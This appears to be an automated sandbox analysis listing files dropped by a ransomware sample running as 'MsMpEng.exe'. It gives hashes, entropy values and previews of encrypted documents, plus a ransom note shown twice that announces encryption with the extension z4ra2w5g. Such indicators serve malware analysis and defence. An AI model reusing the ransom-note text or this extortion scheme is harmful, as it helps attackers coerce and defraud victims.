                        C:\Users\user\Documents\BYIMNPJCRL\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Documents\DWTHNHNNJB.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.828088494617048
                        Encrypted:false
                        SSDEEP:24:QnOOj1mOiwZxe80e11TAPTGJmTq0iiEtv4bcmRV8a/m+L1WOuutrM9sGpM:UOOkjTzKWGJCq0iim4bcmib+L1LM93i
                        MD5:22A637C542BC3641B48001C83C739BA2
                        SHA1:267C0757A80124ADC79E49C04292FC34CDA1E64D
                        SHA-256:0F300D08C422A1F7F737ED574EA864074E772C61689CAFF8962427CF286B8F76
                        SHA-512:DF7FCB1A6D8215DC924C413E4E3492BC74BDEAF65AE62E5F11B6DBA7208416BAED0EEFD996C762A30AFECD319F24935BE101060BE1B9CDF87B433C1B917A970A
                        Malicious:false
                        Preview: Y...P../C.OW;..v.\.Q.v.!<(..F...7e.i.wq.~..R..L..).K8......l!....3N.......;......j.:..e..<.V.......U...t}N..._.3....N.H.td....-c.....qO5r.........w...l....T...........K.....n.P...z<U.......q3$z...*...C4.5.cU).>..6.@.%.*..8....b..4r.\...c..7........]..0....m.J.k.....j..b.8..b..#.!.}.|+y...............S...(VT\Ndz..V".n.|_.]..m.g...'..U.<...}p,.W..y...U.|....g.H...Z.2.=.2F..!..A...L.w.3.C......W....X.......x.....'..z+....I|6...y....M.Nx.c*.&.|.V.8......_...?....q.5C..t..9.......5.G2..U....,.D?DS.#]=.9u....,/.P.u.oJ..QN.b........Y...6...+l......),..k....?./Oa..U.....'.wFStF@.."......J...j..+q...S.:....2....v..;.:A.5..Y\...B...E.N.H86...}..b.D.....MIAwb..#...R.....f...Z..............WeM.I...B..e.U.O...`\.. .....K~e..K.....;....W....pk..>.r.......-....g7......;..6.E.)..1.,...~.T#....e..%.4f...Y..=(......H...g.>t...i..<..;....2.^..B-*|......iq.....Q.....k;..4.$]B...a...gS..c.......$.k./.Tx...oKhoG ..>.+....ce3.../....v.j.....-.Q...g...zN....V.3oBw
                        C:\Users\user\Documents\ERWQDBYZVW.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.846998844467571
                        Encrypted:false
                        SSDEEP:24:2Mk6jF+scHNxV6QLugCwO7ezdsHkA+a8ZcXNnpGes3bZuutrRb:2wJ9cHN3nOCOkAnRnpCfRb
                        MD5:EED2FA30CC2D1DCA22246B53EB3CB628
                        SHA1:4101B39495D5045746A761B3DE6B1EF9F763B598
                        SHA-256:88470E2BB698B9C9E7BDE85E1C34C5023B91CC75B8B0CB6E4456C26BCE47A978
                        SHA-512:33D65E1C746C57990F169E8C02ED7D5BA1A400D1001B781CB276C212FB4BC0C95E4047AA205B4A99372E7484718CC2627E2070800F7B7D02AC040D226ACB5A0B
                        Malicious:false
                        Preview: .3..4f..$....$.*.....k......{i].....E...^I...f.]....q.C.....n......s..D....|..cE....yu5....;.............a.i..b..."../.gK....T.V.Ne.eP.Zf...:.(..!.3......?Cm^..(k...K...K...0....X..t$...jd{..{ ...-..b.5?i...-.3^gz...(...!..."!..}..7...)d....4...0|.."=....2..k0a..{V.).;~Z..;.Q..../(..IG...s.......~.......qU.Srt...5|.2.h....5..#.W....Gca..-6.h.p.t.......j9..b..Q.Nz.....Y.jj...g$.........2.R.Oko.y..W..]1....k.gv.4myT0V.uY..8n...jk?FM........bb..+.XQ.z..zju.2.i..L..+...Q.c.Z.N..e+.j.........9]..-.0..<..~..N..O1)k...!].~V6Xx.4........F...W.D2:.c..pz.IK[..f..=.-~.z....x......A(...m.U........^....:\.9 /..|...R.M...C..)...._. .w..!...}...r.kphcJ.....}....G.2.;e.|.r.U0..+k...w6.>A..XK2..xs....$...Y..7&.jP.!.y.0...$..r@t3.4n.;.~.yV....J...S.o4.{..{.,oI......vn...,.x....Y..4.................v..&!c.`...&..|..Jx../;.qD.="..;..Uoc.......v 2{.#...-........].........)aC@.;.".q..:.#C.L.1..B...S...?6J.....rn......9.l.....<..TwWQ.$.wUg.Y..}..1x.....A.}..
                        C:\Users\user\Documents\EVCMENBQHP\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Documents\FAAGWHBVUU.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.852981189201204
                        Encrypted:false
                        SSDEEP:24:rMokXs2ibnhH93DCrqzxjtJbOpICZsRK/dA/fCEWMl5kFdnv1guutrFdjE:oohhaqzxpJbOp1ZCWu5WMlmFdv1ir4
                        MD5:A09C1C099651DDD006451083F7D81B11
                        SHA1:C23A5CD6967C4E17FB30461AE9C28B5F8C7A9AE6
                        SHA-256:D61B4848D2CD9C359AAA4865650BE81648D2CC0BFE06A759580442616DB59273
                        SHA-512:1202FE7F5147D99B57A187EF227876B9B972C7DE9F0D8B6718548E3FD7376E3B19FF7A04C77419543F8770E277F83BD2400F2C81E9FF5C9E5E962A0582A9185A
                        Malicious:false
                        Preview: ..Y.../...B....>!.A!^.K"...e....tye...@....d.L.2...d....T7....~kB..#....`.;.`.....G#F.Q...?..{...i.?3...=.k.>...y....g}.z?.H.4......#m....eq........q..ID(xZBt....9.......`..(....D.r.pN..0...../.S.T.......r...... ...K.7.e..#.'...`}..4......\.Y.S[F.q.=...>*.. ..I.0....a...T5.w.....[...Q....D..6..57..Q..W..6.xv.......T..v:.gx...1B...).+..8..C..-.Z..)).;.8.....`..S..._g>..n.h...'q.B..;..M.*...k.l....B.-.....P.t.....y`.@.o8..&.D.*Ad.0..t#G<R<..tt=X..1H6..A.0...!P. .[Xg.Q....b.....F.X...85....F.qK..C..E..1.eo...M?.....H.Ow`....?x{._..Q...Q.....3X...?...^...1..O.Y....N .7.&.=SSB1..96=.....<. ....W..o.z..!J=..R.8.yj.(.o5F...<v71.........F.b.gn.9.mZ18m..l..'.~.3I9..$1.$:.|)."Rh%..nn..c..l....z...9....c.....n._..L....y.#..z<...z....?.q..L.[..D.$,..rVv....}..i.....7..pV.o.Oh.(M.w..>.n..=.......I)+&o.I.U,.-...q..23..9Q..A..{bSJh...X.~....9...S..;......%W../6.]..../.B...sa.HI.{.^J=>.....'}.YXYD,.YV..eK..r.....b.e=)_.........7.....?P../.F.......
                        C:\Users\user\Documents\FAAGWHBVUU.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.856673765896535
                        Encrypted:false
                        SSDEEP:24:oMmZ1mD4jn1suctPgkzTnUX0VUUaaN+7dqBtjQJlfYVlmuutrI:oMjen1lcPzzTnRphN+UBtj2lfYVlsI
                        MD5:9F7CD0BD1316672F15BD286251E6E92D
                        SHA1:9CACFB74938CE48915A861BB36A9F852B5270536
                        SHA-256:4223EEFA252E6470F174FEF0C63544CAFB6F59CCD0E715FDA147BF16A13D72CE
                        SHA-512:0EEF650185B4C7130241C4648676FA822C1ECC0A74A9BD079215AF75AD4F3589489669F21CFD548FDA8322DEA6E3674745F135BB71FD9635184222B641125B42
                        Malicious:false
                        Preview: ......^...y.../Pt.....f].'N._.#pa.N.-hJ...q[.......p.Q*..5...;;|....Q# ..cAA.K..nD.>.w.c=..6w.|..]...3.RbDA.J.=-.4C..m..._..u....i.E......8.OU=.WG.Z..},....{..Z.o..e..Y...g.r~.].33n..!.>y.\.NX1......Y.z,.......f........a.T-......+.3.....v..(5...>.....$g[&.D&.0.rY?.1R...:.:..&.........4?...38.......:b.J.Iz........c..kC=V....5...P..t..|...#M.L..f.Z`.QV.JV.D;..!<1...S&.}s.S..^...mI.....F.W.k..h>..)O.l....v.Ty..o...4..s............o..-.qX...I{.n..f..hU.m@......h.t.R..).l....Y....`.. f.F4.....d8a`HqbAU]...'.Q....n.6.g.nmz.../..........W.e...N.N..l#.&.]...E..Q/L..a...k.t;(.6..Q.".....7..z...]-y........R....>7..MW....lVJ..l*.f.K........wl........{1..D...K....IS.Z.f.....].........0|..).....i....>.......Q.B.`........RB..v...fm.\...o/.....z .O.x....~l.....f.....{.0.. ...@........y......^.{}.4.].....*...H.:c.[.BUy.........-....5.=..C'rl......\*.......N.cb..ua...Z-.....&..i.......7.. ..y..W.L..w....<.rn2g.r(..N`.U....!.S....L~.%-.3.5.`.:b
                        C:\Users\user\Documents\FAAGWHBVUU.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.865058587097625
                        Encrypted:false
                        SSDEEP:24:s+AOofThG3ef8nvlitr7YLf7xXrmbF+4brw5sw7qQtTMuutrPm:s+rofVlykafdb9J5sw7qQtTuu
                        MD5:82C8DBAE6A097BC139D28FC98AAE0D61
                        SHA1:DB2026C6CBD16EC7E9971531B7F4925841CC5A49
                        SHA-256:4E28B4AA2EB3D57016F7883CB314CB7F5D58B340E141C6DFA32E0F1870C6A17E
                        SHA-512:5B43CAE1EF45B920C2F9ABD90FBE540D2E5E1EE64D131A52EFE601E2FE15B54BE097899853679B6785F500C19D3C0ECC523C6B6E14C0D5113630DD31AFD5CBC7
                        Malicious:false
                        Preview: &....<.....l..{..B..Q.7..-v...fTL.....^.z;.._..2.........;u.........Ne..j.!l_H.=../.I...+p....U..yZ..zH.-.../......Tqq.t.C~..>.&;3....DQ.:V........Y...1...mO........!v.&.....!...^;Z.".@.j:....M.%.E.m.)&..aix..o.R`(..g.Ze.G..S{/..Cr.....V..Q..0.&r#..y<.-...H...o.T...O.l8>}twj./......j..:...2z........a......8v..G..n....8....F....A./Z.W7...?....rg....auO..D..L..X3..$.a..-.&F.....i '.>.......FC..c'k...c...V.$_.M.h.].LaO_....4.I.=...Y.Qz.7...[.p.|......}X.g2.B.@..e.k...5>9......b..O4...s.FV.F.B.K.....B1....A.[0....*7..........Bd..).....NRj..&.)..t.........v6..G~S."0Gu...q.~.@..Jv.i.a.....I@.S.L.....x.....#..'k0..U4....'.._$..1vg{.J|.....l...c^.qg...v.j..W...w.Z.Q.KB~...S.c....c...:?b^.r.2..{....@ J.K.N.k7..."..FK..g.!.b..Cd~...+A3............B.T...J.......pWy.....-\i..m..va.Y7Gc3Q..Q....<U..Z..Z......~......N._...nx...<...flU...w....|.%u..K..Z....=....*<a...K.!.6._H...L%.b...m...W.S/..y:....G....HBf.$k0...3......V...6W.+.Jlr..X.z..M.
                        C:\Users\user\Documents\FGAWOVZUJP.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.840829790949455
                        Encrypted:false
                        SSDEEP:24:C6rCqnYrdfu2wlDnr9KFEYtWKDLlOkQmau6+Z+9I9d+txuutr9W:CQ7YrdmnlDnr9KFDt/93a19Iz+t39W
                        MD5:CBC639C7D7CF36953B21081E6AF78D1E
                        SHA1:BBA832339C19A239334F50B79FAAFBCD2638531A
                        SHA-256:2FA2943DA0EC9C9D05A1EA90619D8E91B3914F56D3C0AEA22718A027FE05743E
                        SHA-512:772C586A7CC486E18ACDB3D4F5EA75B7E0F67C5E943FAAF615E5C203F6E2A5748DE9195243696BB5C2ED85476EE8D1EECDF0D0510FB57DF8A94BA77EFAABBC53
                        Malicious:false
                        Preview: 9:.6 .>+r;.b..~...,.^..V.8...e..#.hW.QV..h~68....lw4@....p:Ef..g:.k......j..2.]...xw}......h...;.....7An.8v.I*...v,Y]q^R+..:...c.+.?.....z.|..O.I...O\...........<...q5g{^.F.:.3.e'.........Z#..g.>j.)...$..n.+..@.i.`.....@.cg.'..xT!.+y^...[(...M......re.R.....ok..%..e.F.M..N.2...... .....':..o..ES..I=.9..mB...m.A....~.0...6J0..........u.Gcivy.Kk...=7....<.?Eb...yj5}...=.]....#.g..k...G..Bc....V$...r.cP...!.ld...g.>.5sY_.J..u^t.....u.B{.W..BS.3...`&..Z...|4-.n7........*i|...iV...K%..C..5.}....-....8..!_..........=~.ZI...s......<...C.=T......0b.~?.+%^..G2.HB?..(.J |.Amux;.2.y.+U.ZNRR.e..Y#.R.v.e.R.R....j>t....%...f.C.b.0..#H...<.O0.@@...!ZD..h.^^....g...K...t...c..1v.{......K..k........U..L.N.7t.f#......"....$H......d1.d.rU....Qq..%O..t>Z.T.B..#....<...t."O.#k..M.V...W._....v._....Ngl.7..y....x@.........R.W....-....+_@8.Y3.....zuc\.m.3..TTl..d5..........n.........I....m.;...F.`a,.......].....i.N...OS.G.%.I.2mp...Q.o.'%.<2.._..!.k
                        C:\Users\user\Documents\GJBHWQDROJ.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:PGP\011Secret Key -
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8442053544294685
                        Encrypted:false
                        SSDEEP:24:rCtOCb7/iejQDi1E+XcqLR/1XDRPJ8T3k7efOmdgkmTnOFYWG0uutrMIE:Sy0JP/1xJIk62uGjOmWvQ
                        MD5:0428641875B67A7236CF35A6B3BF9FDB
                        SHA1:712FF93FEC7C7FD20226BF7D0201410A9110E05B
                        SHA-256:03F4DC55DA51F1097DB6BA2258014196462877B6FC886A4404C075B3BA8D7EB9
                        SHA-512:D5699B64F0551705371BB35C9C89569C2C7A98007F856C02BD45562EE66F325B5BEC4C4D56A27D9CEB01DA5D6DED6047F1CF97C3D64AAA4661FCFE83AFC893C6
                        Malicious:false
                        Preview: ..Mit.......r..Z$.b..Pr..sL>Y...y..t.X.R.q;../..u..c:H..G.c9.f....v..k..t:....1.....S<.(..r.>K.W.{...N`...#..-..._.Kq...gz..,'..dm?.%.D...... .[.}.....a.]u.4'....,@......=.I~.(uL..U.1.F.V(..h.d..:.=5I9D.+M..E......7.vX.....;U..E.s'^.i..M.......G..]]s...u..=..T,.....5....A...}+.EVx.P....4..s..h..-...f.W.2{...k.p....R...W.6E-}.8*5..bC...t...{.B2../..A...... ......#.~.<L%...ngC.;..K.h.5x...s..C.O....J..n.....)......d...Y.SQD.A.:ksa.n.$G..6G.a..C.....q...@C...]CI...C.A.}....3%.V......ru#.h.uy.`.?.W.\#....#a...D.3...U..Gb..7(CQ...N.bh.L.../..r.../...q{g.K}..F.p "..w.......S../s.[;..L.+.p......e\.+i.t..i:....~>...%.m.$.Ze.o..[....e+.v.q.. -M;.....4'.&.xc77.$......bP....L..N.|./I@...ha...K_.]......X.5...V..*ZeR!......c....r.)AG....oC....d...z.B....B..4..he.L.M-^*.+#{.._...v2kT..{u ?!.+YW.'..m.w.P.X.."...=.3../.2F..O..c.H.7..`R.&..a(.}.....e......Z....f...1\.5....aW..n.m..c.lA.....\.L.3.]...}P.[k.J..,.z.w.<.W..0.+......D....S.O%y.$..1....p.f.
                        C:\Users\user\Documents\GNLQNHOLWB.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.823227991232459
                        Encrypted:false
                        SSDEEP:24:W/Qrqd0zXRrXSAnwikQzCNCcdBAkNVjzSCrQSfqn3uP4lc5N+VNw/LuutrJ:hrqazXROfnGCIczAOdXQL3Jc5N+VNwNJ
                        MD5:44BD7E61030B36F8F1527C3E36C40A81
                        SHA1:206D22D2DC72422A390208821DC1BF51A44FF270
                        SHA-256:D054D59241A236DF98F036F81CF74DD9FAD84B64A5A14E3910F9ACF5661C68B1
                        SHA-512:9410DBFD6EC7039B467896EAF74827001B33E5F7CB1B0C1BB4DD7332280170AFFB844F353EF3E3802FE8C6B9ECB3505DA27AF6F82BF00C8E500C61C8CD815A20
                        Malicious:false
                        Preview: ......N.w.c&..j.K.......=w(..r....C3..Q.....y,tIq.....#.~?......A.%Det..U.:.6.<b..P.c...cR.......`....hsZ...z....w@....H..SyT&I.."P.F.ZG......;-ye.tF..E..o..j.y.J...g..&..@......KR>Y/..4pF.......u.....6J...y..[1...b.!8....."'.#..q...Qw..P.o......@...2...q.T.Yty(Eh9....s...N^.J......Z..70l.2..*..~K......L5...*.1.zl#..#..{...-E-..#'f.-....IP.r..{..BF.o.1...r..%.r.....TT.."..r..Q.<H.{......e..W..W^..'...m..F.W..[..t......yY....cu..e.....W.....'r.ik.. .4m.w.....1....s....E.."R.YK..........5..w....?n.c..$.2.b...FA....1..2..tp...l...d)..........bvI'!E..qs=:.......pmyc.."j.Z.....yW4.C ...*p...Y.W......+..]....^...$6...o..0...]{..x]4.U.O.&..c."r9M%.xC...?.D.Z.).D...dK.W.f.I.......[5|.....bRk...b.VsE.n..{.~D.C7.e<k....Jm.G,.E@..........C.m..i.q..._..-..[.<pg.0..9m.8....Jl.f.A&.D..W-..FG.?.Q...1o.]......A...~U......hl.7O_8E._..B...0......9..-h....cja.XF.......'....Q...Q... ..K.D....zMI...+9.W.......cRz.<..0... .(....h..c......>.O...-.
                        C:\Users\user\Documents\GNLQNHOLWB.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.835427049097968
                        Encrypted:false
                        SSDEEP:24:STz5UoW1gSRqKHWeS7XXbMjVLSngY1DKVRQUrYmtuutrJUU01:Sn5UoigScK257XXbGVW1cPT901
                        MD5:70099DC44278B4951BA0E875111B6F24
                        SHA1:EB7F07D538FFF22A7603A202BFECDEAB098970B5
                        SHA-256:08530BBC21CB8C18A19FC93BD5E2A40F6DC0213CFBF69CEFD327AE241ACD2BB0
                        SHA-512:5DDC429759A93AE936C6D6B10EDC05EE0B77C19EA244120CD371FEDD5FBF736919D53D4225B4922DD2260E4F5840C5DC91B7129555AFE4DB47B58DE644AE6CA9
                        Malicious:false
                        Preview: .Q.o580.?V`....W..`%.<ZR.uZ......A.(.q...%x..._..-..f.s....vW9.L.<...M*..U...F..5..;0d.S]..v...3...F3....(...S&..+d.Z.3.B|...;.`\..b/].T..B..}.\......D9y;aV.v.<_A @.}6.O.FB^.[{`...k2...b.....}.,..<.....v0..?..p.C..,........<u.T.s$...p...li...Zu..6.&...../...............h.W..l.fi..l..7.9..JJ..5K6....+...s.}/..I.D.\tP+.F.&^z.gs.4m.T....9..0"..^...u{...$z....v...[.oP.......^...._b;.J.......em...O.....6..C..fr...4......D.y.`.Y%.k+'X/Z... ..{..L-.vvU.oo...}..?..K.!..+../../..NX....l..".B..\..$......m.#p.... ..<.{x..t......t.(.X.]R..A.BYe.p8..ut.m3.(...9..P.+[\F..zU.,...:.s......w......'.6.^m.n...&.,dd.m.`.-.C\.2R...m.N..........`7.|.&@..3.[..4.S...2...@.y..O...nW.g.3kX..I.y.....p...8~.y....k.N.LCc...P?x.t..d....#...'7W.W....6....d3....B..O..U{.G ..o.</......`....oC.i.......\Z.S.X....V..... ....bG...w.q]PT..*+..L...H(...J.M.d......wF...#P...JYB1..9...l .A;..^Z....ru.T..>.#w.......I+...hY...z.....u....h..#y..\|.yt0...L.L..MN..Z....O..g
                        C:\Users\user\Documents\GNLQNHOLWB\BUFZSQPCOH.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.82318802002533
                        Encrypted:false
                        SSDEEP:24:ITkDEuGi5JjLNX32O8KjvXL601lySeaxuutrEcE:xtrjhX3DJXG01lDea3EcE
                        MD5:9403407D02833AE1687918584C8C6DC9
                        SHA1:648FA519366460699BE098E7525B734EF44C0E29
                        SHA-256:7BF57C6B605B4C554BF745A71DB60878F3C324448EA213919F7160AA8AC292C7
                        SHA-512:0BBCCD0829C4F2095BC186A2397DD98D9CE19ADC937845FC4D0C66491D0DB88D02DD414F06F2AA24275D488CD97D1E1A846916753207DD1279703A3F7280BF16
                        Malicious:false
                        Preview: ja.l4c..r.P....pp...W....nL.;]@@..J...|.wf..].Q.q.f=b...`/TY.%Who.#L....,.KZ..~.J...1J..=..s\;P.5Q.1..1.f..W..]..4...z.d8.~%..0..E....s...OH.%. .Q...}.I..p}b.v.`...-.._.Y...C..e`.z..\;W.....|.w..nGA...4..)...[..V).B...._...f.yx1.B.../...*.hWu..z^.wF...f.PY1U*....Uc.k..1L....1."P..F?#...H.S:H.v@...m..'5...v..H..M....\..L..A4...q.......j..E(}.(.I.w|Ev_K./.\....E.Sd2.>ZS....#...?.Y.n......*i..a..w3.69A...3u.=.@.|?.je>..%....a......Q..d5.#..>.4Aj.2...-.3..|=..-\.Y..l....^=.9.....B..~......d...N.Ij.V..?..,...{.....4bA..,C....U.......t%F1)p.i*0`.....>\,aM2(.N..BD.-(..:...`.....E.w....J..z...aQ.M..I%C..Ue........UG.....|T1...^+...xNL.I.."..I..._5.&.{."..>.t..>.........:5.p`e.qt.(........~.........XO.H.c...q.y.0.......4......z...........iR|H ......i...2.PK.,.D..;..21.%1G~....k.c...ye.B..8b....l....#.6^.R...A..........{.i.BPc%.,FJ .z....}P..^_)..c.8@...........x......t._...2pU.......,.< .........d....V..-.q&.....P.....-'...,}.R...
                        C:\Users\user\Documents\GNLQNHOLWB\BWETZDQDIB.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.855351613994428
                        Encrypted:false
                        SSDEEP:24:UX1mK2CPtnGIzUX23Zu6tqw7OOSXuogmwuutrmXc:w1zUqHqhxd7SmXc
                        MD5:4E54FD44EC288983C88E759AF4200893
                        SHA1:11EC57833C9E1F28F23C83F087E2D56FFF1DAC65
                        SHA-256:B0AE1D57421CD1A9831C15DBDBEA4B0572F5C66B57DBA05364F5C73F4FA350CA
                        SHA-512:BC2C655C5D183144A0DF33B5A1594472FE836323BB899ABE830936021537E55B46C5322AE7197578749C19706BD2B18BF6026F33F8F06510042F7839719F2FED
                        Malicious:false
                        Preview: H..<.W0J....0>...=YP....5..%d`..x.4.y T....;62/...w.2N3s=qW.Z,...P...k...g...q...../...M....&......=.EE....V."'..O..s...}W....'..x..Q.P........[a2..x..A..b+.._..c%M.L....>9/.E.?..S..DjMJh..Z..NnA..X....@..::..\.,.rq,.qy..B.m.......6kZ....8.`I...m.....1..t..J_*'.;m..Z...&.D....$..}_I..S..V..V|SK...]...A.\..&...\..Pl...G......=....1. <;A.M.d.%d..]............H|..q.=.7.?n.>.....bTV..p.v.,H...c.Zc......L.#.a....T....e8..p.M...\........;..l......H.\..k.~H.3.v..\U.$Q\BU..x..+..H7.I...A*.....I...$Xe*.j.._..|Y.s.c.h._. p...^....u.."...V..L.4..<..M......A3.2......\.PC.a!.j..5...o"....E!.....RW.#`...q."f'?.pv.:e.z........ *g..AP.._bb_.....<..X..i.*Z.qw..x.D<....$U.C''T..J.r,..X.?..C.0H1.@j..$.=0k,#.Z,...\O..B..a..i.aE......Z....;NI....q..l..a.4u...5..../..fr..[.2...i....t....4...<..d*Q).Y.GW...t...){..$..+..P.X.."*x.+kn;.&..kV...~(...cyE...=..l8."N....^.{.....8F..emKn-.K.....w{...l...o(6..RE..OW.DH.v.u+,5..9.L...+C.!.qM'I.[K.:H.[...N..e.
                        C:\Users\user\Documents\GNLQNHOLWB\FAAGWHBVUU.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.837859361967677
                        Encrypted:false
                        SSDEEP:24:qoFWWRHOul4gXe6PChX4Iq3HGI8nCNdzr89ddiLQZ2X/hUUhIUuutr7RbmNA:rtRuTguQCNqmIcCNdX8gLQsDhI29OA
                        MD5:43E2C0F0894554AE9E219099CE1632E1
                        SHA1:9B75138D3EC13EB61421CC10F37AA356906DA5D3
                        SHA-256:125EFA19CCA79D851BE6D81659BC9D18DC8A7E39496FA5E67A2C0ADFF3CDFAA3
                        SHA-512:387EC75DAE145F300F8E7493C84795803E082270F8190465809D0125E2EA6DE760C485704654CE96970EC49FE033E9454127D6142F35F7A8D5A741281C99892C
                        Malicious:false
